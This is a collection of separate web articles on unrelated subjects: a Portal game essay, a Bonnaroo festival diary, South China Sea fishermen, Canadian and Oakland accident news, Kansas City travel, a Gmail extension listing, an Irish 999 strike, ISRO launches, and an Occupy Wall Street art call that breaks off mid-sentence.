proudly front and centre screen.  Portal is a game built around a gun. Its levels are an extension of the weapon (known as the Aperture Science Handheld Portal Device) that its mute protagonist, Chell, grips, their shape and contour defined by its abilities. Remove the weapon and this world no longer makes sense, or is even navigable. It is a game that only the Portal gun can unlock.  And yet, Portal is also the most subversive first person shooter yet made, despite the fact it converses in much the same vocabulary as Call of Duty and its cloud of imitators. Why? Because the Portal gun doesn't fire bullets. Shoot the gun's projectile against a flat surface and you'll open an oval portal door. Shoot a second portal somewhere else in the environment and stepping into one will see Chell emerge from the other. Portal's gun cannot wound and it cannot kill: all it can do is create an exit, an exit that leads away from violence, an exit that leads away from cliché.  Gordon Freeman, the protagonist of Half-Life, the grand first person shooter fantasy in whose underground belly Portal takes place, is the game designer personified as the hero. Bearded and studious, with thick glasses and geek-chic ruffled hair, Freeman is the arch nerd who's stepped from the confines of the computer lab to take on the jock power systems outside. But in Portal we see the personification of a different side to the game designer. GLaDOS, the female AI who guides Chell through a series of 19 tests is the arrogant bully game designer, who teases and mocks the player as they quest through her pre-set puzzles. She lures you through her game, repeating the promise of cake for the successful completion of her set of errands, her tone flitting treacherously between encouragement and cruelty, eventually revealing a sadistic thrill in seeing her player suffer and fail.  You obey, even as GLaDOS shifts in character from kindly guide to abusive tormentor, solving her tests and challenges, attempting to, as GLaDOSs herself remarks "remain resolute in an atmosphere of extreme pessimism". We're used to this sort of thing, of meeting a designer's cruelty with resolution, and the game within a game reflects this relationship between player and designer with sharp insight. But the game's subversion with its tools is later reflected in the game's broader structure. As GLaDOS' vindictiveness is revealed, so you start to turn your weapon against the system, using it to puncture the Apeture Test Facility's artifice and slip behind the pristine scenery, where you are able to view the ropes and pulleys that fire the game, those nooks where the dust accumulates and spiders preen.  Erik Wolpaw and Chet Faliszek, ex-journalists who wrote the essential satirical video game review site, Old Man Murray, wrote the game.  The act of turning your gun against the system that created it is further reflected in your later interactions with the game. A furious GLaDOS sends turrets to destroy you (the only time that the sound and fury of bullets fills the air). But there is no way to shoot back; the Portal gun is a passive tool, unable to injure. Your only choice is to turn the violence back against its perpetrators, as you create a portal through which their bullets pass, and another that sends them right back towards them.  This has been the decade of the shooter, of male fantasies in which erect barrels extend from the player into the centre of the television screen, spitting power and dominance with each squeeze of the hand. Our games have been about an escalation in ability; experience points funnelled into making our characters harder, better, stronger, faster, each new stage unlocking more effective ways to beat our opponents. Portal has none of that. In this game you remain weak and helpless throughout - at least in terms of raw power.  In a game in which your only abilities are to jump and create rips in space, cunning and ingenuity are your only tools to progress. It is no accident that, aside from the bullet-spraying turrets, Portal presents an all-female cast. In this way story and theme are fully aligned: a game that subvert the systems of a genre, the systems of an entire medium and, in its occasional anarchic moments, the systems of power and government (note the achievement awarded for destroying every one of the CCTV cameras bolted onto Aperture's eavesdropping walls).  Released in 2007, Portal was met with unanimous, sustained praise and yet its influence has been almost non-existent. There have been no imitators, no cover versions, no respectful nods from other studios hoping to build upon its lessons and approach. That is, arguably, because it is a complete game, in which story and mechanics elegantly entwine and unfurl towards their natural conclusion. Like a short story that is too rounded to expand into a novel, and too idiosyncratic to birth a genre, Portal sits alone, majestic. It's a game that offered an exit from a cliché, but one through which only it seemed to fit.  Even the sequel, for all its cleverness and expansion, was unable to match its perfectly told story. In video games we are led to believe that a debut is a first swing: sequels, being technological evolutions as much as creative ones, will always curve towards improvement. Portal refuses to adhere to this rule, just as it rebukes the rest of them. It's proof that once you've delivered perfection where else is left to go but imperfection?
-Bonnaroo Music & Arts Festival has a very special place in my heart. It’s much more than a music festival; it’s life’s refilling station. The event has a way of finding you wherever you are in life and helping you to grow in ways that you never thought possible. I’ve seen introverted friends break out of their shells and share hugs and tears of joy with complete strangers. There’s something special about roughing it for four days in 95-degree weather on a 700-acre farm while listening to some of the best acts from both past and present generations. The thing that I’ve found to be the most true about Roo is that whatever you put into it is what you’ll get out of the experience. There was a lot of speculation that Bonnaroo would be just another music festival with no soul run by corporate America now that LiveNation has bought a controlling stake. Truthfully, I didn’t know what to expect. I looked at the lineup and saw fewer acts and slightly shorter sets but still… I had faith that the festival’s organizers knew what they were doing. This was my first year on the farm as media which had it’s perks. My week-long break from reality turned out to be everything I wanted from my visit to the farm and more; it was perfect.  I’m sure many can relate to this, but there’s this one specific moment on the farm when you realize and feel that you’re exactly where you’re meant to be. It’s almost spiritual even. I had this moment somewhere on the ride to Bonnaroo. I made the 14-hour trip from Miami, FL to Manchester, TN with two Roo virgins with excellent taste in music whom I had finally convinced to join the fun. The plan was to meet several friends in Atlanta, GA who were also going to the festival. Wednesday morning we drove the rest of the way, admiring Tennessee’s beautiful landscape. I met with my MFN team and picked up our media passes, then made our way to the festival gates. The high fives had already started, and we hadn’t even gotten out of the car yet! We managed to get the best camping spot I’ve ever had since I started attending Bonnaroo 3 years ago. I don’t think that words will do it justice, so instead here is a picture taken at our campsite.  That’s right! We were camped right in front of that glorious multi-colored arch. Our neighbors, Camp Church Boners, were a welcoming group of people. Kyle from Canada was the first from their group to get there and had reserved space for his friends. He was nice enough to move his tarps over to accommodate our group to which we responded by sharing a beer with him. Once the rest of his crew got there, “Church Boners” was screamed at by passersby and responded in the same manner by whoever was at the campsite. It was the new “Butt Scratcha!” and worked like a charm.  At Bonnaroo 2014, a group of strangers gathered on a Facebook page to camp together, creating SooperGroop in Groop Camping; my friends and I were a part of it. Although we did not camp with them this year, my good friend Carlos Castro (Soundcloud) continued the tradition we started by DJing a Wednesday night dance party hosted by SooperGroop. The large tent was jam-packed as Carlos took the crowd on a musical journey. Soopergroop went on to win best group this year and was mentioned in Rolling Stone. After his set, we walked around the campgrounds for a bit and saw a super-cool-looking area with colored lighting, but as we got closer we realized it was just Porta Pottys! Turns out the Porta’s were fake and actually lead to a secret lounge. We ended the night with one of my favorite places to eat, Peace Love Tacos, where I had a “Summer Taco,” a super-secret and super-delicious off-menu taco made with sweet potato. Wednesday night already exceeded previous years, and I had yet to see a musical act.  Thursday morning I was greeted with a beer by my camp mates as I got out of my tent. The shade we set up helped me sleep a full seven hours. Some of our stuff had dirt on it from cars driving by, but that’s the price you pay when you’re camped in front of the arch where cars are constantly going to and fro. It felt great to sit at our campsite in the mornings since it was the best spot on the farm to peoplewatch. After showering and brushing my teeth with a water bottle to rinse, I made my way into Centeroo. One of my biggest gripes was the way that we entered Centeroo. The days of the arch being a gateway to this enchanting place that only exists for four days a year are done. Instead, security guards are strategically placed to ensure that you don’t go near the arch with the middle pathway instead being used for golf carts. My first year at Bonnaroo, the most memorable part was walking through the arch for the first time after high-fiving everyone in line. It saddens me that they’ve taken that away from Bonnaroovians.  Since it was my fourth Bonnaroo, it was finally time to try the Spicy Pie that I’ve heard so much about. It lived up to the hype. Ultimately, it’s just a huge pepperoni and jalapeño pizza, but for $6 it hits the spot. Every. Single. Time. Maybe it’s the seasoning on the crust? Maybe it’s because it’s actually made with love? Who knows? Why was there a wobbly dildo on a stick being held up as a totem? Bonnaroo… that’s why.  [Best_Wordpress_Gallery id=”15″ gal_title=”Bonnaroo 2015 Crowd”]  Unlocking The Truth was the first show I planned to attend. I first discovered these teens rocking out on that YouTube video that had gone viral and refused to miss the chance to witness this in person. These three teens performed with a ferocious energy that the crowd responded so well to. A mosh pit started almost immediately and continued throughout their entire set. This genre isn’t normally my cup of tea, but they were a great way to open Centeroo. Seeing this band of young kids perform with such a passion for what they were doing was really inspiring and made me feel hopeful for the future of music. I’ve been following their attempt to severe ties with Sony and hope that they find success and continue to grow as musicians.  After the show, we walked around for a bit before heading to Dopapod‘s set at That Tent. It was my second time seeing this jam band, the first being at AURA. If this show proved anything, it’s that Bonnaroo still has a strong love for jam bands. This was the first show where I was able to enjoy the new screens that Bonnaroo had invested in for the tents. It was a much-needed improvement that Bonnaroovians have suggested for years. Being able to watch Dopapod comfortably and not missing any of the action made for a very pleasant experience. My favorite part of the set was when Rob Compa shared that the band had performed in the campgrounds three years prior and now got the opportunity to actually play Bonnaroo, to which the crowd cheered to show them love.  I separated from my group to refill my CamelBak and get food, but I lost them somewhere along the way. I was rolling solo to the Glass Animals show at The Other Tent and almost settled for a spot in front of the screen. It wasn’t until after the band came on that I realized how weak the sound was and tried to get closer. A $7 mister from Wal-mart sprayed at a hot crowd goes a long way: all the way to the front apparently. Living up to my expectations, Glass Animals played a great set rocking hits from their debut album Zaba. The crowd went wild as they kicked off their set with “Psylla.” Dave Baley embraces the screaming crowd, “Bonnaroo! I heard Thursday was the best day!” which was met with cheers and screams. They played everything you could have wanted them to play, including “Walla Walla”, “Black Mambo“, their single “Gooey” and even covering KanYe West’s “Love Lockdown.” They ended their set on a very high note by closing out with their song “Pools.”  Shortly after they ended, the two people standing between me and the bar left, and I found a comfortable spot front and center. Gramatik, a bucket list artist of mine, was closing out the Other Tent so there was no way I was leaving. Benjamin Booker was on before Gramatik and had a very gentle and kind spirit. He played with so much soul and impressed me with how well he shredded on the guitar. I particularly liked his cover of Otis Redding’s “Shout Bamalama” that he played before getting into the song “Violent Shiver.” Booker and his band members who’ve been performing together for two years now seemed to be having a great time. To close out the show, the crowd sang along with Ben as he performed a rendition of “Li’l Liza Jane.”  Gramatik graced the stage next, accompanied by Gibbz on the guitar and Russ Liquid on the keyboard and horn for one of the funkiest parties the farm saw all weekend. The big LED behind the artists showed a mouth with a tongue that looked like it rolled out of the screen over the crowd with red fabric. Everyone went wild with each song that the DJ/producer dropped on them. The music was really loud, but Dubs hooked us up with some acoustic filter earplugs which worked wonders for my hearing, and I highly recommend them to anyone looking for affordable earplugs. Although Gramatik relies on samples heavily, the live element was present with both people playing instruments having their time to shine with a solo. Cherub made their first appearance on the farm during the set to perform the collaboration “Obviously.”  [Best_Wordpress_Gallery id=”16″ gal_title=”Bonnaroo15: Gramatik”]  I didn’t stay for the entire set because I wanted to catch Quickie Mart at the Silent Disco. If I learned anything from his set at Kalliope last year, it’s that this DJ knows what’s up! There was only so much power you can get in those little headphones, but he threw down a phenomenal set. I could literally hear people screaming even with my own headphones on at full blast. Quickie Mart played three times at Bonnaroo with a set at the Silent Disco, MTV Summer Jam, and Kalliope again on Sunday. What makes the Silent Disco at Bonnaroo so special is the production. I remember my first year it was under a tent with a few lights; now the tent is much bigger and has night club-caliber production.  It was around two in the morning that I turned on my phone hoping to reach one of my friends before the phone died. I met up with Brian Hensley, the founder of this blog, at Kalliope and actually got to get on the amazing 75,000,000 watt car, which is a memory that will live with me forever. Norwegian DJ Matamo, was playing tropical house for a huge crowd still full of energy. Bonnaroo is beautiful in that way. If you are a creature of the night, you will always have a place to dance and people to hang out with regardless of the time. There is no cut-off time for music.  [Best_Wordpress_Gallery id=”17″ gal_title=”Bonnaroo15: Kalliope”]  After accepting offers of pizza and shots of fireball whiskey, I retreated to my tent to rest. The first official day of Bonnaroo was over. If some freak accident happened and Bonnaroo had to be shut down after the Thursday that I had, I would have gone home more than satisfied. So far, the experience had already been more than I ever could have anticipated.
-The Marvin-1, a fishing boat, sits on the shore May 16, 2015, in Masinloc, Philippines, unused since the Chinese barred it from Scarborough Shoal in the South China Sea. (Will Englund/The Washington Post)  When nations duel over reefs, rocks and islets, people are going to get hurt, and in the South China Sea dispute, that means the fishermen here who once wrested a living from the contested waters.  Gunmen in a Chinese speedboat drove Macario Forones, for instance, away from a favorite spot called Scarborough Shoal, and now his boat, the Marvin-1, sits useless in the grass and weeds above the high-tide line, and he sells someone else’s fish from a stall in the local market. Efrim Forones now dives for clams in the bay, making about one-tenth of what he earned when he fished the sea. Viany Mula says he was set upon with a Chinese water cannon when he ventured out to the shoal in his boat, and now he makes deliveries around town on a motorbike, barely earning enough each day, as he puts it, to buy the rice he needs.  “I really want to fish the shoal,” Mula said one recent day. “It’s a very rich fishing ground. But that’s not possible now.”  For generations, the South China Sea was a regional common. Fishing boats from all of the surrounding countries would roam its waters, pausing now and then to trade cigarettes or potatoes or gossip.  But then Vietnam, followed by the Philippines, began staking claims to some of the islands, and now China is moving in, in a big way. Beijing is building up the outposts it has established, enlarging islands that it controls and claiming exclusive rights to fishing grounds.  The smaller, poorer nations can’t put up a real fight for the access to the sea that they long enjoyed.  “That’s not for us,” Mula said. “We have nothing.”  But the Philippines does have the United States behind it, after a fashion. The Americans are making more visits here, and stepping up naval patrols and overflights — and in the process, the South China Sea dispute becomes something bigger than a contest for fish. It looks more and more like a geostrategic confrontation between the two great powers, China and the United States; that’s certainly how the Chinese characterize it.  The U.S. military has long been a source of anguish, self-doubt and defiance for the Philippines, a former U.S. colony. Many Filipinos are encouraged by recent U.S. attention to the maritime dispute, but they wonder whether the Americans give much thought to the Philippines and the people who are paying a price as the dispute deepens.  A third of the residents of Masinloc have depended over the years on fishing for their livelihoods, said Mayor Desiree Edora. Scarborough Shoal, a half-day’s sail from shore, was a refuge from storms, a gathering place for fishermen from all over and a home to abundant grouper and giant clams. Now, the Chinese have barred foreign boats. It is like being thrown out of your own house, she said.  “We can’t replicate what Scarborough Shoal can provide,” she said.  The Philippines took China to court — an international tribunal in The Hague — two years ago over competing claims in the sea. China refused to participate; a decision is expected next year, but it probably will be unenforceable. The Philippine move may have provoked the Chinese into trying to cement their claims by occupying and building up as many spots in the sea as they can, but officials in the Philippines say they had no choice after efforts to negotiate came to nothing.  Viany Mula, 43, once fished the South China Sea and says he was forced off the water by the Chinese. Now he makes deliveries around Masinloc on a motorbike. (Will Englund/The Washington Post)  The governor of Zambales province, Hermogenes E. Ebdane Jr., said he wonders what China’s ultimate goal is. “No one’s going to war over fish,” he said. His constituents, the fishermen, will have to find something else to do. But if this confrontation is about something bigger, Ebdane said, it’s unclear what role the Philippines might have. There’s a new defense agreement with the United States, but, he said, neither side seems to have thought through the implications for the murky weeks and months ahead.  A legacy of ambivalence  At the Defense College in Quezon City, on the outskirts of Manila, an entire wall in the lobby is given over to a painting that depicts the massacre of four dozen U.S. soldiers by Philippine insurgents at Balangiga in 1901. A diorama up a staircase shows Filipinos battling Spanish conquistadors and fighting against the Japanese in World War II — alongside Americans.  The United States seized the Philippines from Spain in 1898 and held it until 1946. The U.S. military continued to keep permanent bases here until 1991.  The legacy is a deep ambivalence toward the United States. But the U.S. Navy is the one force that is willing to challenge the Chinese and keep up regular patrols in the region. An agreement signed last year would allow the U.S. military a standing presence here, rotating forces onto Philippine bases. The agreement is held up by a lawsuit in the Philippine Supreme Court.  Washington has stepped up visits and patrols, and it has made much of joint training exercises and the donation of used military equipment.  “That is not to protect the Philippines but to protect their own turf,” said Roilo Golez, a member of the country’s House of Representatives. U.S. military aid, worth about $40 million a year, is nothing but a token, he said.  The Philippine armed forces, in this nation of 100 million, remain in woeful shape. It is an article of faith that the government was caught napping when China began making its moves in the South China Sea.  “We remain quite dependent on allied help, and that is not good,” said Rafael Alunan III, former secretary of the interior. “The focus of the Philippine government has been on politics, politics, politics, at the expense of national security. China is taking advantage of our inertia and lack of assertiveness. We are presenting ourselves as unworthy before friend and foe.”  Walden Bello, founding director of a group called Focus on the Global South, said his country “is right back to its role in the Cold War, when it played the part of handmaiden to the United States.”  But military officials here say they are unsure of the U.S. commitment if hostilities should break out. The United States and the Philippines have a mutual defense treaty pledging assistance if either is attacked, but Washington doesn’t recognize any nation’s territorial claims in the South China Sea, including the Philippines’. Naval analysts in Washington say the U.S. response to conflict there would depend entirely on the circumstances.  “We may have overestimated how the United States will come to the rescue,” said Chito Santa Romana, an expert on China. “We may have underestimated Chinese resolve.”  Civil disobedience at sea  The two biggest vessels in the Philippine navy are former U.S. Coast Guard cutters, retrofitted with deck guns, and of little use in standing up to the Chinese. The government, in any case, has no desire to provoke China into a military confrontation.  That leaves the fishing fleet as the country’s best means of maintaining a presence in the parts of the South China Sea that Beijing claims. Philippine — and Vietnamese — boats challenge the Chinese when and where they can, until the Chinese coast guard drives them off. It is waterborne civil disobedience.  “These are small, subsistence fishermen,” said Evan P. Garcia, undersecretary for policy in the Philippines’ Department of Foreign Affairs. “They’re not a threat to anybody. And it’s not as if they just went there yesterday.”  The fish they’re after may be the other big casualty of the dispute. The tensions over the years have kept anyone from getting good data on fish stocks or devising a conservation plan. Hundreds of millions of people live around the South China Sea and eat its fish. The Marine Stewardship Council, with an office in Singapore, says that the humpback wrasse and bluefin tuna populations are close to collapse. Edgardo Gomez, a marine biologist in Manila, said that the Chinese have wiped out the giant clams on Scarborough and that their construction work is destroying reefs that support the bottom levels of the sea’s food chain.  “You have tons and tons of marine life in and around those reefs that are now gone,” he said.  The hatch is being shut on a way of life. The United States and China are either pursuing strategic advantage or practicing destructive gamesmanship, depending on the perspective. Filipinos have to live with that — with the “odd detour,” as Garcia put it, that brought them here.  Viany Mula would trade his motorbike in the blink of an eye for a chance to return to sea. But that is not going to happen.  Englund visited the Philippines on a Jefferson Fellowship, supported by the East-West Center.  Read more  Beijing’s power play in the South China Sea may be killing coral reefs  Here’s why some in the Philippines want the U.S. Navy back  Chinese warnings to U.S. plane hint of rising stakes over disputed islands
-A suspect has been charged more than a year after a cyclist was killed in a hit-and-run on a dark, rural road in Abbotsford.  Kerry James Froese, 39, has been charged with failing to remain at the scene of an accident causing death, according to a statement released by Abbotsford police Wednesday morning.  The victim, Ronald James Scott, 61, was struck and killed while riding his bicycle in the 2000 block of Mt. Lehman Road just after 11 p.m. PT on Jan. 29, 2015.  This picture of Ronald James Scott was taken by his brother in-law the day before he was killed in a hit-and-run. (Abbotsford Police Department)  At time police said they believed Scott was travelling south when he was struck by the vehicle. He was found alive by police, but died at the scene shortly afterwards.  In June 2015 police located the suspect vehicle — a grey 2013 Ford Expedition — on a property, and identified a suspect in the case.  Investigators are now asking anyone who might have more information to contact police at 604-859-5225 or to call Crime Stoppers at 1-800-222-8477 if they wish to remain anonymous.  Previous conviction  It's not the first time Froese has been charged following a fatal accident.  In 2008, he was charged with impaired driving causing death and two other related charges, but was eventually convicted in 2011 of driving without due care and attention. He was given a $1,100 fine and six months probation for the 2008 offence.
-America's marvellous Midwest: A finger-lickin' trip down memory lane in Kansas City  I left my heart in Kansas City. That reads like a Tony Bennett song or a film noir. In fact, I left it in Chicago, next door, and it was taken, not left. A younger me followed a damsel across states in pursuit of, well... something.  I lived in Kansas City, Missouri during my undergraduate study and have returned seven years later.  Not in Kansas: Kansas City is actually the largest city in the state of Missouri  The agrarian Midwest with its farms, prairies, parkways and plains; the immeasurable plateau of fields and roads like concrete arteries. In the spring months, the skies sequence downwards like a Rothko, from blazing reds and bruising purples into bronzed and burnished yellows.  All that is good and honest about America grew out of the Midwest. Those middling states are different from the bookend states. Missouri is deep-rooted and to a degree, happily secular. Many who leave eventually return; to settle, raise families and rediscover the bond.  Chow down on authentic KC barbecue: Arthur Bryant's is one of the city's most popular BBQ haunts  I was welcomed into the homes of my old friends and enjoyed rediscovering barbecue, Kansas-City style. The city has over 100 barbecue restaurants, all intestine-busting barbecue benders with good, local Boulevard beer.  The meat is slow-smoked over wood and covered in a thick tomato and molasses-based sauce. It's a plate of bovine delight and being a visitor, I'm removed of all guilt, so can lip-smack, finger-lick and enjoy pulling apart the burnt ends and brisket.  The smokey bouquet of Hickory hangs heavy in the air. Thick cuts of meat are slathered using local 'Midwest tomatoes' to create, in the words of Rich Davis, founder of KC Masterpiece Barbecue Products and owner of KC Masterpiece Barbecue & Grill, 'a sauce that doesn't fall off the meat into the fire.'  Nuts for beer: David and friends hole up in The Peanut, the 'oldest bar and grill in Kansas City'  Henry Perry's restaurant (now the legendary Arthur Bryant's) on 18th and Vine became a cultural point in the 1920s during the heyday of Kansas City jazz. The jazz district today is sadly a shadow of its former self with the majority of musical entertainment uprooting itself downtown to the Sprint Center and Kauffman Center for the Performing Arts.  Culture shell: Architect Moshe Safdie designed the Kauffman Center for the Performing Arts  Designed by architect Moshe Safdie, the Kauffman Center ( www.kauffmancenter.org ) is a striking addition to the downtown Kansas City skyline, it's two slated-shell roofs resembling that of the Sydney Opera House. The inside reveals an expanse of new, shiny whiteness like walking into a sugar cube. The north façade of the building is sheathed in stainless steel and lined with sweeping glass, revealing a 180-degree panoramic view of colourful downtown.  FOOD THOUGHTS: THE BEST PLACES TO EAT AND DRINK  Baristas with style: The Quay coffee house serves up artisan brews Best Burger: Town-Topic  In 1937 Claude Sparks opened a little diner in downtown and began selling hamburgers for 5 cents each. 76 years and Town-Topic are still producing the best burgers in town. The Triple-Cheeseburger and Patty-Melt-on-Rye are worth exploring.  Best BBQ: Arthur Bryant's  There are endless locations where you can find Kansas City-style barbecue, but locals will tell you that the legendary Arthur Bryant's on Brooklyn Avenue is the best. American journalist and food writer Calvin Trillin declared in Playboy magazine that "...the single best restaurant in the world is Arthur Bryant's Barbeque at 18th & Brooklyn in Kansas City. Best Cocktails: Manifesto (downstairs at The Rieger Hotel Grill & Exchange)  A 48 seat, downstairs speakeasy that takes a labor-intensive approach to making drinks with the finest spirits. Recently earned a spot on Eater magazine's top national 38 cocktail bars. Al Capone once took a wee there! Best Coffee: Quay Coffee  New start-up from young, coffee bean enthusiasts in the River Market district. A long service bar means you can watch the beans being churned and the freshest coffee drip-serve instead of machine-made. Direct trade coffee is roasted through close relationships with their suppliers. Best Bar: Flying Saucer Draught Emporium  Originally founded in Texas in 1995, the Saucer has expanded and its Kansas City branch in the Power & Light District offer 76 brews of tap with hundreds more in bottles. For a more authentic and local-feel to the area, The Peanut on Quality Hill is a beloved KC watering-hole and my favourite bar in the world.  Sporting Options: Sporting Kansas City  In 2010 the Kansas City Wizards soccer team moved to a new stadium in Sporting Park and re-branded themselves as Sporting KC. Last year they won the Lamar Hunt U.S. Open Cup by beating Seattle Sounders FC. The stadium was renamed in January after the Livestrong Foundation and Sporting KC ended their agreement.  Hidden Gem: River Market Antiques  This 5-floor industrial building on the corner of 5th and Wyandotte is the perfect place to rummage for antiques and relics. Merchandise ranges from 1950s American neon signage to taxidermy, music memorabilia and shelves and shelves of LPs, books and vintage posters.  New restaurants and bars such as The Jacobson and The Reiger Hotel (with its fantastic prohibition basement bar) sit alongside old dining institutions such as Town Topic, Arthur Bryant's and The Peanut in a juxtaposition between twenty-first century bistros and old-school diners and dive-bars.  While The Plaza maintains its status as the high-end eating and shopping district, with eminent thoroughfare Ward Parkway voted in the Top 10 Streets in the country by the American Planning Association, it's Downtown that's seeing a money injection. The Farmers Market, Crossroads Arts District and “First Fridays”, in which art galleries open their doors and offer wine and baked goods to interested stragglers, are all examples of the city's urban maze.  Red mist: The Kansas City Chiefs play at the Arrowhead stadium  The Power and Light District bulges with 'artists' and a younger vibe of voguish hipsters. The area is growing through independent shops and businesses, such as Quay Coffee in the River Market. Old buildings are being reformed into stylish high-rise apartments, art galleries and meet-and-greet lounges and while the city's sports teams, The Chiefs and The Royals, both remain firmly rooted to the foot of their professional tables, college sports thrive and the colours of Mizzou, Jayhawks, Wildcats and The Roos splash across the city in local support.  Kansas City boy: David, pictured, won't leave it so long to return...  Perhaps it's this development and status as a creative and newly thriving location that Google choose to test their new Fiber speed here - a connection 100 times faster than broadband. Out of all the cities in the nation, Google cherry-picked Kansas City, MO, now a super-speed-led Fiber base, allowing you to “Poke” and “Tweet” in a millisecond.  I'll be back, within another seven years. The barbecue is the best in the world and the art and coffee is excellent. The local beer is as good as anything I've had in America and there's a bubbling enthusiasm in the city. Kansas City natives love Kansas City, and I get why.  Travel facts  David travelled to Kansas City with United Airlines (www.united.com) via Washington Dulles. Prices start from £727 per person for return flights (with changeover).  Rooms at the Hotel Phillips in Downtown start from £119, www.hotelphillips.com
-Please pray for my frenz,Bassist Marc Van Wageningen, drummer Dave GARIBALDI for tower power hit by a train in front of Yoshi's in Oakland — SheilaEdrummer (@SheilaEdrummer) January 13, 2017  A Capitol Corridor train hit two musicians just before 8 p.m. on Embarcadero West and Washington Street in Oakland's Jack London Square, right next to Oakland music venue, Yoshi's.According to an Amtrak spokesperson, David Garibaldi and Marc Van Wageningen were not in the designated crosswalk when they were hit.Garibaldi is one of the original members of East Bay R&B group Tower of Power. Van Wageningen was just filling in for their concert Thursday."I'm shook up like all in the industry hearing about it," said friend Victor Pamiroyan. "And I hope the injuries, I don't know what the injuries are."Both men were rushed to Highland Hospital. Meantime, at Yoshi's, Thursday's shows were immediately cancelled as word spread about the tragedy on the train tracks.Friends can't believe what happened. "To study and get to know him was a dream come true," said Ryan Glick. "I though I would never study with the best drummer in the world and I got to.""Good guy," said Jerry Perkins. "Fantastic drummer. I can't believe he'd cross in front of the train. Not like him."Train service resumed quickly through the corridor.Fellow musician Sheila E. took to twitter to ask for prayers for her friends:
-Displays new emails and the sender's contact photo, get notifications or even listen, read or delete them without opening Gmail! Supports multiple accounts plus many options.  • The fastest and easiest way to manage multiple email accounts • One of the highest rated Chrome extensions - featured many times on PCWorld • Trusted developer of many extensions - more than one million satisfied users worldwide • Lots of features, options and updates • Personal tech support from me (the developer) - very fast response times • I'll add your suggestions • Safer - requires less permissions and only access to Google Mail's website Features... • See the people emailing you just like in the Gmail chat notification, with an option to show their contact photos or your assigned photos for them. • Voice notification: If you get an email while you're busy watching a movie or cooking dinner this extension can optionally read it out loud ie. "Jason says, dinner at my place". It's great for the visually impaired. • Option to monitor any Gmail or custom labels • Option to run in background when Google Chrome is closed and still get new email alerts • Popup mail preview window to read, archive, mark as read or delete emails without leaving the current tab (or option to go directly to your Gmail tab) • Desktop sound or voice notifications when new mail arrives (or add your own sounds) • Support for multiple Gmail and Google Apps accounts • Option to open "Mail to" links in your Gmail instead of your regular mail client • This Gmail notifier has more than 10 different icon sets, choose your favorite! • You change the generated voice by adding TTS (text to speech) voice extensions • The fast way to inbox zero. Yes that's a thing.
-Emergency call operators who respond to 999 calls held a second 12-hour strike in a dispute about pay and union recognition.  The stoppage began at 8am this morning and concluded at 8pm.  BT Ireland and Conduit Global, who run the service, said contingency arrangements were put in place to ensure there was no disruption to service and all emergency calls were handled as usual.  A Conduit Global statement said the company "strongly regrets the industrial action that was taken by a small number of members of the Communications Workers Union at one of the Emergency Call Answering Service centres today, in Navan, Co Meath.  "Public safety remained our highest priority and Conduit Global confirms none of the emergency service centres (Navan, Co Meath; Ballyshannon, Co Donegal; Eastpoint, Dublin) closed at any point during the day and that the service was fully operational."  The staff at the Emergency Call Answering Service who belong to the Communications Workers' Union want a basic pay increase in line with the Living Wage of €11.50 per hour, and the right to be represented by their union in negotiations.  The State contract for operating ECAS was awarded to BT Ireland, who in turn outsourced it to Conduit Global.  Both companies have defended the pay rates for staff and their decision not to negotiate with unions.  They have also declined an invitation from the Workplace Relations Commission to talks with the CWU, on the basis that they would prefer to negotiate with their employees directly.  The CWU held the first 12-hour stoppage in the dispute on 25 February with around 15 of the 60 operators joining the picket line at the Navan call centre.  Tomorrow, CWU members will also commence a month-long work to rule, whereby staff will withdraw from extra duties outside their employment contract.  CWU General Secretary Steve Fitzpatrick has accused BT Ireland and Conduit Global of "blatant corporate greed".  He noted that last year BT made a profit of €44 million in Ireland, which is up 42% on the previous year.  He added that Conduit Global had made Irish profits of over €6 million.
-Initially, the modules will be test- flown without a crew, preceded by tests to human-rate the launch vehicle or make sure that it is safe for human flight into space.  TIRUPATI: Isro has put off by four years its first experimental manned mission — from 2020 to 2024 — on board a home-grown GSLV-III rocket.  Speaking on space technology at Indian Science Congress, Mr S. Somanath, Director, Liquid Propulsion Systems Centre (LPSC), Thiruvananthapuram, said GSLV-III will be designed to hoist a 10-tonne crew module into low earth orbit. Initially, the modules will be test- flown without a crew, preceded by tests to human-rate the launch vehicle or make sure that it is safe for human flight into space.  ISRO to launch 103 satellites  Mr S. Somanath, Director, Liquid Propulsion Systems Centre (LPSC), Thiruvanan-thapuram, said the the immediate task on hand for Indian space scientists will be the launch of a record 103 satellites by the Polar Satellite Launch Vehicle (PSLV) in the first week of February. While more than 100 of these satellites belong to foreign space agencies/ universities, the workhorse rocket will also put into orbit the indigenous CARTOSAT 2-D satellite, with all satellites adding up to about 1,382 kg, he added.  Mr Somnath said during the current fiscal, Isro planned eight PSLV flights, up from six in 2016. “Our aim is to steadily increase the launches between 12 and 20 in phases with creation of necessary infrastructure. And, within the next two to three months, ISRO will carry out the “pad-abort” test to try out the crew escape system,” he said.  Click on Deccan Chronicle Technology and Science for the latest news and reviews. Follow us on Facebook, Twitter.
-Call for Artists: Wall Street Occupennial!  Art is mobilizing! The Wall Street Occupennial is gathering proposals, volunteers, and donations in order to hold a series of art events related to Occupy Wall Street. They are currently archiving all occupation-related art projects on the Occupennial’s tumblr page, and apparently an upcoming exhibition will take place outdoors, across from the New York Stock Exchange.  In keeping with the format of Occupy Wall Street, the Occupennial is conceived of as a horizontal power structure in which there are no leaders, just co-organizers. Naturally, with swaths of interested volunteers and evolving, outdoor meetings at Zuccotti Park, it’s still pretty difficult to keep track of meetings and projects: Occupy Wall Street has, like, five twitter accounts and no single spokeman. We’re not sure, for instance, if the twitter feed for “Occupy Art World” and its plans to protest outside New York and San Francisco galleries has any affiliation with the Arts and Culture working group. [Side note: they just tweeted at us that ad sales control our content. It’s true; during a routine blow job last night, Larry Gagosian gave editor Will Brand some excellent suggestions for next week’s news coverage.]  The plan is to fundraise using the successful Occupy Wall Street Kickstarter campaign as a model. It seems there is massive potential for growth; the occupation has already garnered tens of thousands of dollars in a few short weeks. Occupy Wall Street is rapidly expanding, with multiple blogs, powerful new allied organizations, and now an interactive online map of protests that have sprung up across the U.S. As of Saturday, there were 20,000 people on the Occupy Wall Street Livestream page, and there is now an “Occupied Wall Street Journal” (containing a stirring call-to-arms by former NY Times writer Chris Hedges) and a movie project on the horizon.  When Art Fag City took a trip to Zuccotti Park a few days ago, it seemed that the Occupennial will have to sort out some growth-related challenges. Even while we were talking, the circle continued to crowd with people, who every minute or so would interrupt and need to be filled in. The circle steadily expanded. Hand signals were established. Soon we couldn’t hear anyone through the noise; messages traveled by the “people’s mic”, a system of human repeaters something like a mix between a Pentacostal sermon and the beacons of Gondor. Inevitably, the 